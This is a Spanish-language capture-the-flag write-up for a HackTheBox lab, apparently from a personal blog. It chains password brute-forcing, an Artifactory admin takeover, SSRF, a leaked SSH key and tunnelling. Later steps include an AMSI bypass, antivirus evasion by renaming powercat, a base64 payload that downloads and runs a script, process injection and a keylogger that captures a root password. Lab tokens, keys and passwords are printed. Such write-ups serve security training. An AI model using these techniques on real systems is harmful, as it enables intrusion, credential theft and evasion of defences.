xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

RPG



Would you like to play a game?

RPG{c0waBuNg@!_Ssrf1n_iNtO_tHe_1nt3rn@l!}


Iniciamos escaneando los puertos con nmap, en este caso especifico tenemos 2 hosts que son la .18 y .19 y estos seran nuestro punto de entrada para el laboratorio

❯ nmap 10.13.38.18-19
Nmap scan report for 10.13.38.18  
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap scan report for 10.13.38.19  
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
8081/tcp open  blackice-icecap

El host .19 tiene el smb abierto, el nombre de la maquina es gelus y pertenece al dominio roundsoft.local, pero sin credenciales validas no nos sirve de nada

❯ crackmapexec smb 10.13.38.19                                            
SMB         10.13.38.19     445    GELUS            [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)  

El puerto 80 que es una web en la .18 solo nos muestra una imagen y el puerto 3000 un login de rocket chat al que sin credenciales no podemos obtener acceso

En el puerto 80 de la maquina .19 encontramos la clasica pagina por defecto de IIS, y en el puerto 8081 se nos redirige a un panel de login de jfrog factory

Si acudimos a la documentación se nos habla de un usuario access-admin que usa autenticacion basica, podemos intentar bruteforcear la contraseña de este usuario usando la api, la contraseña Password12 nos devuelve un 404 en lugar del 401

❯ wfuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/honeynet.txt -u http://10.13.38.19:8081/access/api/v1 --basic access-admin:FUZZ -H "Content-Type: application/json" --hc 401  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.13.38.19:8081/access/api/v1
Total requests: 226081

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000966:   404        5 L      17 W       94 Ch       "Password12"

Aunque tenemos la contraseña si intentamos usarla en el login nos dice que el acceso a la interfaz se ha deshabilitado especificamente para este usuario

Volviendo a la documentación se nos muestra como cambiar la contraseña de un usuario, asi que podemos cambiarle la contraseña directamente al usuario admin

❯ curl -s -X PATCH http://10.13.38.19:8081/artifactory/api/access/api/v1/users/admin -u access-admin:Password12 -d '{"password":"password123#"}' -H 'Content-Type: application/json' | jq
{
  "username": "admin",
  "email": "jfrog-admin@roundsoft.local",
  "realm": "internal",
  "status": "enabled",
  "allowed_ips": [
    "*"
  ],
  "created": "2019-11-16T17:25:13.904-08:00",
  "modified": "2023-08-25T09:43:30.487-07:00",
  "last_login_time": "2020-06-14T23:53:36.039-07:00",
  "last_login_ip": "10.10.14.10",
  "custom_data": {
    "public_key": "JUHfDLxBPMe4YZbWLKdbams2ZTPq3rmG1zxgTFhrFQEh8fUTDWfNMxDka1ipqdZwGLZY6dhmWpZrYfefNiSQRMYGCidZs6YJEEwAgAJ4nEbyYE9KybxXWsSuHJ2VB1xpwsf1P",
    "apiKey_shash": "CVH6pG",
    "apiKey": "AKCp5e31BNLmPhjFrkk6oPKecoKcypYtxSY9QrMvDSHMWVgghVLFqfdpENgSfzQRqZsJmg1Pm",
    "updatable_profile": "true",
    "private_key": "JR5cohej8r9cKXYVgnxhLowKuQWaX4AjMQYxt2Up6AADGw6eaUkqfh3wRnPHTuC1cEeF24i1uwKQa4a8QH4G7QVLyGw2Ao5CAMSo451bu99myYXzbXhguUN9JnDwKVymHDws3JXHZ4iprQKzfdt79KJmNXCvJ6syqvBzoXNKxqCm8pYXhLBHDSGHu2AXbjmzGa8idkteMPXqvq9XqRNuiP8aUCPUQFUsSjic4LxRoQQtDBNjmjFGcbGLK7Gx9XotVBRyvB3pjcFxNJHA7KmTzy19qx1wa5YfEM2TmN48h8qxnpyqS9tZpQ84vr4VWXKnhok8XFPEaB5PbxHxhUTXcXnfumPYm1MDQtyp6zXQzxUB3PfGXMfF9LHvGwzwXH1mLZv3d2R2B5NwUU8RpQ3A2fXV6fvstkeyfqzprZmeqC2o9zHSc75KYQEhHqcoK8b9Yn1dcKbAdmevkAGQpjpfd8a8",  
    "artifactory_admin": "true"
  },
  "password_expired": false,
  "password_last_modified": 1692981810487,
  "groups": []
}

Al acceder como el usuario admin con la contraseña que definimos ganamos acceso a la interfaz de Artifactory, en el inicio se nos muestra que es la version 6.13.1

Podemos encontrar una funcion Import Repository from Path en el apartado de repositorios y como es un windows podemos intentar que cargue el directorio de un recurso smb y asi al conectarse e intentar autenticarse obtendremos un hash

Y aunque obtenemos un hash NTLMv2 la contraseña parece bastante fuerte por lo que no logramos crackearla a traves de fuerza bruta y obtenerla en texto plano

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.13.38.19,51463)
[*] AUTHENTICATE_MESSAGE (ROUNDSOFT\repository_admin,GELUS)
[*] User GELUS\repository_admin authenticated successfully
[*] repository_admin::ROUNDSOFT:aaaaaaaaaaaaaaaa:b7934db0c9890fdd5989d7f676864a35:010100000000000080ef733174d7d901cbbe46d0826260fe000000000100100041005000520046007700770058004e000300100041005000520046007700770058004e0002001000520043004c0050006900480044004f0004001000520043004c0050006900480044004f000700080080ef733174d7d90106000400020000000800300030000000000000000000000000200000126f6f06f8b269e05bc2e249448f3eaf73a53aa8ae17aa8e117857449cdeea160a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000  
[*] Closing down connection (10.13.38.19,51463)
[*] Remaining connections []

Revisando los logs de las peticiones en el inicio encontramos peticiones desde la direccion 192.168.125.135, por lo que probablemente exista esa interfaz de red

Podriamos hacer lo de antes pero en lugar de apuntar a un recurso smb interno mediante un SSRF podriamos apuntar a uno interno para escanear el segmento

En el intruder podemos ver que los hosts .88, .128 y .129 tienen un tiempo de respuesta considerablemente menor al resto de peticiones hechas hasta la .256

Tenemos 3 hosts activos que seran nuestro primer payload y el segundo sera una lista de palabras que usaremos para bruteforcear posibles recursos smb existentes

La longitud de la peticion development hecha a la .129 es ligeramente menor al resto de peticiones por lo que podemos pensar que es un recurso existente

Volvemos al apartado de Import Repository esta vez usando un recurso smb interno que sera \\192.168.125.129\Development para asi poder ver los archivos en el

Si ahora revisamos el repositorio se ha agregado una carpeta llamada feedback la cual contiene diferentes archivos entre ellos la flag.txt que podemos descargar

❯ cat flag.txt
RPG{c0waBuNg@!_Ssrf1n_iNtO_tHe_1nt3rn@l!}  


Sword and mind

RPG{h1j@ckin_lyk_@_pir@t3}


Ademas nos encontramos con un archivo llamado key.txt y un Feedbacks.exe

❯ cat key.txt
111091166030218062251222010115128136114113076235134212137064020174229081049098149097150097197008100104224193046241175229075026048009246089192212  

❯ file Feedbacks.exe 
Feedbacks.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

Al ejecutarlo en una maquina windows nos pide una key que probablemente es el txt

PS C:\Users\pc1\Desktop> .\Feedbacks.exe  
Key required.
PS C:\Users\pc1\Desktop>

Para entender mejor lo que hace por detras usando dnspy podemos decompilarlo, en el encontramos una funcion GetFeedback que recibe un argumento key que usa como cabecera para autenticarse contra la api de 192.168.125.135:3000

Aplicamos un breakpoint justo donde define la cabecera X-Auth-Token y corremos el programa pasandole como argumento la key que es el contenido de key.txt

Cuando se detiene en el breakpoint podemos ver el valor de la variable key que usa como contenido para la cabecera, esta cookie nos permitira autenticarnos

Ya que hace las peticiones hacia el puerto 3000 podemos suponer que es la 10.13.38.18 desde otra interfaz, autenticandonos con el token obtenemos los identificadores de los chats existentes para posteriormente poder leerlos

❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" "http://10.13.38.18:3000/api/v1/rooms.get" | jq -r '.update[] ._id'  
2iHYAhwtJjbyj4a6N
DdjTRzK3eskaJ8zkL
GENERAL
HTpmn63zyESXXsGZackBN4uDvbKecTqoBS
HTpmn63zyESXXsGZakRyS6KgwZP4hHiLGz
Saw9bYrjnusg9bheG
X5xn88ZMRjpog4A9h
eoxPkMvnBNCB8q9n8
p3hQTN7DCc885v7cL
qfmwycKpPkHNkLsyg

En uno de los chats se menciona al usuario beta_user y que este tiene una clave

❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/im.messages?roomId=HTpmn63zyESXXsGZackBN4uDvbKecTqoBS' | jq -r '.messages[] .msg'  
No problem
thank you!
Let me know if you have any issues getting in
Ah yes. It should be 'beta_user'
any idea?
but looks like the username was changed
I have the key
so I wanted access to the Nix box
me too
Oh you know, the usual. You?
how are you doing ?
Greetings
hello sir

En otro chat podemos ver un mensaje donde menciona una clave adjunta que se dice sera necesaria para acceder a la red y debe guardarse en un lugar seguro

❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/groups.messages?roomId=X5xn88ZMRjpog4A9h' | jq -r '.messages[] .msg'  
There goes another weekend....
looks like we have a lot of work to do
@here Please keep checking #development_requests

OUT!!!
:anguished:
a...
v...
a...
J..

the next person who talks Java is OUT
look at all the shitty code >_<


please, for god's sake
https://github.com/pH-7/Simple-Java-Calculator
look a calc in Java
༼ つ ◕_◕ ༽つ 
looking it'll be poppin' calc :joy:
MS open sourced calc
https://github.com/microsoft/calculator
funny, look at this
[ ](http://192.168.125.135:3000/group/developers_chat?msg=uJzWdzdN6qRhBi2vL) 
Announcement: The following attached key is necessary for accessing the development network. You each should have the appropriate login name. *Please keep this key safe! *
lulz
you're a skid
I knew it
I must've done something like that...
:cold_sweat:
It sucks when people DoS the boxes
...........................................................................................................................................................................

Revisando el campo title_link de los attachments encontramos algunas rutas, de ellas hay una que llama la atencion que es es archivo llamado key.txt

❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/groups.messages?roomId=X5xn88ZMRjpog4A9h' | jq -r '.messages[] | select(.attachments) | .attachments[] .title_link'  
/file-upload/qAiRe6ijGYYhqmNuK/angry-dwight.gif
/file-upload/DuHLkxGXNFcvWZSDe/Clipboard%20-%20November%2017,%202019%2011:11%20AM
/file-upload/HsfMgTAbbFqDykhJM/SimpleJavaCalculator.java
/file-upload/RNquHSJfdjFiQJbCp/Calculator.java
/file-upload/crBDvzQkhN77KLrxz/key.txt

Podemos leer el contenido y se trata de una clave RSA probablemente para ssh

❯ curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" http://10.13.38.18:3000/file-upload/crBDvzQkhN77KLrxz/key.txt  
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAvucLZy/B0XvfbJWL0PKMyJU7sMsV84GJfUnxQd2dRYo5L6Ka
lZd3l+6++GkiTdLEIHQgSkeqIxQ53B7Ju8WdNfrOBmnkpMDVaFVt0S5nR1DJ/K5E
Jh836bGuXK3gqvAOaIayAj64CbiWPbwHUJ2ZWXWJNH8sUY7F1lqMYoXDfCtmLYd2
8zZyqSEXBs8ONDwsVTnzDyMfIHU96d3LzyA0D/Gqn2NTb142yGHhnRbXFnfxkMcf
+VKKXYF71N3Wo1bIVGMk7L3OHdRXbjgX/VQ7GkN0ZNHgAI2vNinzQRFnZxIpaIgV
wAQ8ygt9PocHaiYK7rNmpZU7hzOSeAC3t+HEQwIDAQABAoIBAQCx/hhauGN9X4L8
6h53zn7HUqVZ/LDV3vSDldrVL71AplUVfgWl7pj6VwdF9Dig2SA2pi+pMlKG7Ifa
Hfa4FdO0Dcnknv0pRAZ2hhijTiHLk58Q8qbl6HuocBuDnDd7CeJVQSleAH51yd6D
ZvpnBtqBV557DQwUaws5BioYfmG7NdlgZR4ZWH6eb6zhAByq9mX1wcT5IeNH4mXZ
inLPev2op98kswLLs56RHoSH7TIDX8QDoXho+4RQ78jvzYYhlGVDyAtEcEo6h7+M
rdfVAV+061pBBandzCtedAO75Ahsa5qBhpb9yvAIvcg0hjNXeVlZuX/x9CF8qZCJ
us1FfcYxAoGBAPTypqYHekZXnY6YzWQ2dSVbUzFYEmlqeEwvDGGbhwPsRlWvY3SG
u17lT+OHWpYS4EF6CPkStR3SJrnSbjfm/gKurayLyKwB3s/VS0Ah1wh54pDsbXu9
zcu1TiADxWEjBeBHsSoFIzPmEtwf0hu/Qe47QXdsBiU+sx7G6KcAjhb5AoGBAMeE
ICFNkwpop8mh5da0pSSP1R/Ke/a2S5UcziMeUhmQRHv+cKmvuEnNBUIEFPilcDvN
mr8Ja/P4+P3yRV1szoTVuCfO6cBxsX3gO7Ea5GlnMQBxgDGWMR8/UhGwTMxYDHDj
76yp6FrCUmPNDj/3TglGHcGLcl/eXmLcfM5mLhgbAoGBAJ9fdiCWwu8buK78Kr8m
U6g/uGxlom0mUik3f3XOrNVXmRfNKwe5VhZTW1xuR/lXRMQ1c7sjeeZyQrIrAX2r
9N+n6eZXePS5rtBJNlH+8ptYOpsSydV2VH1TdQaNjZI7KGqaGuJ9Pz9YVjMVHS7i
jTJFKb5a8dCv7/l5cAyg5tJ5AoGAcnd7d5/qHK6ulSAtnWFG3hMnU3X4aTNtab99
BOkAcWoz4G+6c6A9OxpFSfrNjVpdafIsNi5RoUfWktvMsC0cz1lOrogn1CFmk7Fy
jcnAAjkSBA8aXViuFh9eFofvh818VchwWb+hb3DNlDSxWEGqo+d2avR2SkpqHI4j
jMdS6sECgYEAg9AhMsjpYZs5TAm3z8OaRoQMOndX0DGrqsOVtOc38vxWihiUsaVq
aXM9ciStPc4OnIReQyet5u1BSrKux4DCjtpf7JxNrFdSB6lbyVIu/jWrTXiP9dfD
XlWHR1siUlJmdvbPtgp9+YQ4pDUWkbG9uOPXWgkvGnXGfqugbIvVgPo=
-----END RSA PRIVATE KEY-----

Antes se hablaba del usuario beta_user que necesitaba una clave para acceder, al conectarnos a ssh como este proporcionando la id_rsa obtenemos una shell

❯ ssh beta_user@10.13.38.18 -i id_rsa
beta_user@Ignis:~$ id
uid=1002(beta_user) gid=1002(beta_user) groups=1002(beta_user)
beta_user@Ignis:~$ hostname -I
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590  
beta_user@Ignis:~$

Ya dentro de la maquina podemos acceder a la db de mongo que se utiliza para gestionar de la web de rocket chat, en ella encontramos 3 dbs, usaremos parties

beta_user@Ignis:/snap/rocketchat-server/1427/bin$ ./mongo
MongoDB shell version v3.6.14
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("87397f7a-ad2b-42b1-8aa0-77784876b82a") }
MongoDB server version: 3.6.14
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
	http://docs.mongodb.org/
Questions? Try the support group
	http://groups.google.com/group/mongodb-user
Server has startup warnings: 
2023-08-25T00:06:02.664+0000 I STORAGE  [initandlisten] 
2023-08-25T00:06:02.664+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine  
2023-08-25T00:06:02.664+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
2023-08-25T00:06:07.539+0000 I CONTROL  [initandlisten] 
2023-08-25T00:06:07.539+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2023-08-25T00:06:07.539+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2023-08-25T00:06:07.539+0000 I CONTROL  [initandlisten] ** WARNING: You are running this process as the root user, which is not recommended.
2023-08-25T00:06:07.539+0000 I CONTROL  [initandlisten] 
rs0:PRIMARY> show dbs  
admin    0.000GB
config   0.000GB
local    0.031GB
parties  0.010GB
rs0:PRIMARY> use parties
switched to db parties
rs0:PRIMARY>

En la documentacion de rocket chat se nos muestra una forma de cambiar la contraseña de un usuario a traves de mongdb, cambiaremos la de dev-admin

rs0:PRIMARY> db.users.update({"username": "dev-admin"}, {$set:{"services.password.bcrypt":"$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG"}})  
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
rs0:PRIMARY>

Ahora podemos acceder a la interfaz como dev-admin y la contraseña 12345

En el canal onboarding_information el usuario roundsoft_hr da informacion sobre el sitio y muestra una contraseña por defecto que tal vez podriamos utilizar

Un poco mas abajo encontramos un hilo creado por janderson ya que su contraseña no funciona, la respuesta es que esta ha cambiado y se proporciona la nueva

Sabemos que existen varios equipos en donde podriamos probar autenticarnos, despues de un escaneo con nmap de los hosts que conocemos podemos idenfiticar a la .128 como DC y la .88 junto a la .129 como maquinas asociadas al dominio

beta_user@Ignis:~$ ./nmap -T5 -Pn -n 192.168.125.88  
Nmap scan report for 192.168.125.88
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  loc-srv
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  unknown
8040/tcp  open  unknown
8045/tcp  open  unknown
8081/tcp  open  tproxy
beta_user@Ignis:~$ ./nmap -T5 -Pn -n 192.168.125.128  
Nmap scan report for 192.168.125.128
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos
135/tcp   open  loc-srv
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd
593/tcp   open  unknown
636/tcp   open  ldaps
3268/tcp  open  unknown
3269/tcp  open  unknown
5985/tcp  open  unknown
9389/tcp  open  unknown
beta_user@Ignis:~$ ./nmap -T5 -Pn -n 192.168.125.129  
Nmap scan report for 192.168.125.129
PORT      STATE SERVICE
135/tcp   open  loc-srv
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  unknown
5985/tcp  open  unknown
beta_user@Ignis:~$

Para tener conexion desde nuestro equipo podemos usar ligolo-ng usando el agent para conectarnos a nuestro equipo por el puerto 11601 que nos marca el proxy

beta_user@Ignis:~$ ./agent -connect 10.10.14.10:11601 -ignore-cert &
WARN[0000] warning, certificate validation disabled     
INFO[0000] Connection established                 addr="10.10.14.10:11601"  
beta_user@Ignis:~$

En el proxy obtenemos una sesión, la indicamos e iniciamos el tunel con start

❯ ./proxy -selfcert
WARN[0000] Using automatically generated self-signed certificates (Not recommended)  
INFO[0000] Listening on 0.0.0.0:11601
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   

Made in France ♥ by @Nicocha30!

ligolo-ng » 
INFO[0011] Agent joined.    name=beta_user@Ignis remote="10.13.38.18:43462"
ligolo-ng » session
? Specify a session : 1 - beta_user@Ignis - 10.13.38.18:43462
[Agent : beta_user@Ignis] » start
INFO[0014] Starting tunnel to beta_user@Ignis           
[Agent : beta_user@Ignis] »

Agregamos el segmento 192.168.125.0/24 a la interfaz de ligolo y ahora tenemos conexión con todos los equipos del dominio, podemos comprobarlo con un ping

❯ sudo ip route add 192.168.125.0/24 dev ligolo

❯ ping -c1 -w1 192.168.125.128
PING 192.168.125.128 (192.168.125.128) 56(84) bytes of data.
64 bytes from 192.168.125.128: icmp_seq=1 ttl=64 time=164 ms  

--- 192.168.125.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 163.769/163.769/163.769/0.000 ms

Despues de configurar ligolo logramos tener conexión con los tres equipos windows, con crackmapexec podemos ver los nombres de equipos del dominio

❯ crackmapexec smb 192.168.125.88-129
SMB         192.168.125.88  445    GELUS            [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB         192.168.125.128 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         192.168.125.129 445    LUX              [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:Roundsoft.local) (signing:False) (SMBv1:False)

Por comodidad y posibles proximos ataques agregaremos al archivo /etc/hosts las direcciones con su dominio que sera el hostname y el dominio roundsoft.local

❯ tail -n3 /etc/hosts
192.168.125.88 gelus.roundsoft.local
192.168.125.128 shinra.roundsoft.local roundsoft.local  
192.168.125.129 lux.roundsoft.local

Podemos comprobar la contraseña que recibio el usuario janderson a traves de el chat contra SHINRA que es el DC, las credenciales son validas a nivel de dominio

❯ crackmapexec smb shinra.roundsoft.local -u janderson -p Welcome_roundsoft2019!
SMB         roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         roundsoft.local 445    SHINRA           [+] Roundsoft.local\janderson:Welcome_roundsoft2019!

Podemos probar las credenciales para el protocolo winrm hacia todos los equipos del dominio, todos devuelven error excepto el host .129 que devuelve un Pwn3d!

❯ crackmapexec winrm 192.168.125.88-129 -u janderson -p Welcome_roundsoft2019!
SMB         192.168.125.88  5985   GELUS            [*] Windows 10.0 Build 17763 (name:GELUS) (domain:Roundsoft.local)
SMB         192.168.125.128 5985   SHINRA           [*] Windows 10.0 Build 14393 (name:SHINRA) (domain:Roundsoft.local)  
SMB         192.168.125.129 5985   LUX              [*] Windows 10.0 Build 18362 (name:LUX) (domain:Roundsoft.local)
HTTP        192.168.125.88  5985   GELUS            [*] http://192.168.125.88:5985/wsman
HTTP        192.168.125.128 5985   SHINRA           [*] http://192.168.125.128:5985/wsman
HTTP        192.168.125.129 5985   LUX              [*] http://192.168.125.129:5985/wsman
HTTP        192.168.125.88  5985   GELUS            [-] Roundsoft.local\janderson:Welcome_roundsoft2019! 
HTTP        192.168.125.128 5985   SHINRA           [-] Roundsoft.local\janderson:Welcome_roundsoft2019! 
HTTP        192.168.125.129 5985   LUX              [+] Roundsoft.local\janderson:Welcome_roundsoft2019! (Pwn3d!)

Simplemente nos conectamos haciendo uso de evil-winrm al equipo LUX donde las credenciales son validas y obtenemos una powershell como el usuario janderson

❯ evil-winrm -i lux.roundsoft.local -u janderson -p Welcome_roundsoft2019!  
PS C:\Users\janderson\Documents> whoami
roundsoft\janderson
PS C:\Users\janderson\Documents>

Aunque el antivirus esta activo y el winpeas normal se borrara al subirlo podemos usar la version ofuscada de este para asi bypassearlo y se ejecute normalmente

PS C:\Users\janderson\Documents> upload winpeas_ofs.exe

Info: Uploading winpeas_ofs.exe to C:\Users\janderson\Documents\winpeas_ofs.exe  

Data: 2979156 bytes of 2979156 bytes copied

Info: Upload successful!

PS C:\Users\janderson\Documents> .\winpeas_ofs.exe

Entre las cosas que nos muestra podemos encontrar 2 que llaman la atencion, y es una sesion de RDP y una session de Putty, por lo que puede que haya algo en ella

╔══════════╣ RDP Sessions
    SessID    pSessionName   pUserName      pDomainName              State     SourceIP  
    1                        janderson      ROUNDSOFT                Disconnected

╔══════════╣ Putty SSH Host keys
    ssh-ed25519@22:192.168.125.135:  

Lo primero que haremos despues de bypassear el amsi sera subir un keylogger que detectara todas las pulsaciones en la sesion y las guardara en un archivo .log

PS C:\Users\janderson\Documents> Bypass-4MSI

Info: Patching 4MSI, please be patient...

[+] Success!

PS C:\Users\janderson\Documents> upload Keylogger_x64.exe

Info: Uploading Keylogger_x64.exe to C:\Users\janderson\Documents\Keylogger_x64.exe  

Data: 48468 bytes of 48468 bytes copied

Info: Upload successful!

PS C:\Users\janderson\Documents>

Sin embargo, no podemos hacerlo desde el contexto actual sino migrar a un proceso de la sesión, para ello podemos usar Invoke-PSInject, sin embargo al intentar importarlo nos dice que la ejecucion scripts estan deshabilitada en el sistema

PS C:\Users\janderson\Documents> upload Invoke-PSInject.ps1

Info: Uploading Invoke-PSInject.ps1 to C:\Users\janderson\Documents\Invoke-PSInject.ps1

Data: 682728 bytes of 682728 bytes copied

Info: Upload successful!

PS C:\Users\janderson\Documents> Import-Module .\Invoke-PSInject.ps1
File C:\Users\janderson\Documents\Invoke-PSInject.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.  
At line:1 char:1
+ Import-Module .\Invoke-PSInject.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [Import-Module], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand
PS C:\Users\janderson\Documents>

Podemos aprovechar el parametro -s incluido en evil-winrm para bypassear esta restriccion indicando una ruta para los scripts para despues llamarlos

❯ evil-winrm -i lux.roundsoft.local -u janderson -p Welcome_roundsoft2019! -s .  
PS C:\Users\janderson\Documents> Invoke-PSInject.ps1
PS C:\Users\janderson\Documents>

Usaremos powercat, agregaremos una linea para que abra el puerto 4444 y ejecute una powershell, sin embargo el antivirus detecta la string powercat como maliciosa, podemos simplemente cambiarlo por pocat para que no lo detecte

❯ echo 'powercat -l -p 4444 -e powershell' >> powercat.ps1  

❯ sed -i 's/powercat/pocat/' powercat.ps1

Ahora subiremos el script a la maquina ignis que tenemos ya que la maquina no tiene conexion directa con nosotros, en ella iniciaremos un servidor http con python

❯ scp -i id_rsa pocat.ps1 beta_user@10.13.38.18:.  

beta_user@Ignis:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...  

Tambien crearemos un payload en base64 para que en caso de ser ejecutado haga una peticion hacia el script pocat.ps1 que compartimos y lo interprete con IEX

❯ echo -n "powershell -c 'IWR 192.168.125.135:8080/pocat.ps1 | IEX'" | iconv -t utf16le | base64 -w0
cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACcASQBXAFIAIAAxADkAMgAuADEANgA4AC4AMQAyADUALgAxADMANQA6ADgAMAA4ADAALwBwAG8AYwBhAHQALgBwAHMAMQAgAHwAIABJAEUAWAAnAA==  

Ahora tomaremos el pid de proceso de la sesion donde inyectaremos el payload, en este caso usaremos el proceso RuntimeBroker que pertenece al pid 2852

PS C:\Users\janderson\Documents> Get-Process RuntimeBroker

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    142       9     2060       4268       0.09   2852   1 RuntimeBroker  
    564      26    12720      17760              3392   4 RuntimeBroker  
    410      19     6432      14360       1.45   5036   1 RuntimeBroker  
    423      23     8528      12144       0.70   5804   1 RuntimeBroker  
    138       8     1532       1272       0.06   6492   1 RuntimeBroker  
    269      14     3044      10720       1.61   6944   1 RuntimeBroker  
    329      17     4292       4464              8444   4 RuntimeBroker  
    239      13     2748       8816              9068   4 RuntimeBroker  
    138       8     1524       1388              9588   4 RuntimeBroker  
    213      12     2556       2572              9608   4 RuntimeBroker  
    142       9     2000       8072             10284   4 RuntimeBroker  
    189      13     4756      14460             10568   4 RuntimeBroker  
    297      17     5112      17172       0.31  11020   1 RuntimeBroker  

PS C:\Users\janderson\Documents>

Finalmente usamos la funcion Invoke-PSInject que importamos antes para inyectar nuestro payload en base64 en el pid 2852 perteneciente al proceso RuntimeBroker

PS C:\Users\janderson\Documents> Invoke-PSInject -Procid 2852 -PoshCode cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACcASQBXAFIAIAAxADkAMgAuADEANgA4AC4AMQAyADUALgAxADMANQA6ADgAMAA4ADAALwBwAG8AYwBhAHQALgBwAHMAMQAgAHwAIABJAEUAWAAnAA==  
PS C:\Users\janderson\Documents>

Al hacerlo recibimos una peticion en el servidor http hacia /pocat.ps1 por lo que el comando se ejecuto correctamente y significa que el script se ha interpretado

beta_user@Ignis:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...  
192.168.125.129 - - "GET /pocat.ps1 HTTP/1.1" 200 -

Ahora podemos simplemente conectarnos al puerto 4444 de la maquina y nos recibe una powershell de janderson que se abrio al interpretarce el script pocat.ps1

❯ netcat lux.roundsoft.local 4444
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\Windows\system32> whoami
roundsoft\janderson
PS C:\Windows\system32>

Bajo el contexto del proceso RuntimeBroker ahora podemos ejecutar el keylogger que subimos antes y dejarlo corriendo en espera de pulsaciones de la sesion

PS C:\Users\janderson\Documents> .\Keylogger_x64.exe  

Despues de algunos segundos que se reinicia la sesion de putty y el usuario ingresa la contraseña logramos detectar las pulsaciones y por lo tanto la contraseña

PS C:\Users\janderson\Documents> type Keylogger_x64.log  
(03^69<@BHM*/KY4z[ENTER]
PS C:\Users\janderson\Documents>

Podemos conectarnos como root con esta contraseña a traves de ssh y leer la flag

❯ ssh root@10.13.38.18 
root@10.13.38.18's password: (03^69<@BHM*/KY4z
root@Ignis:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Ignis:~# hostname -I 
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590  
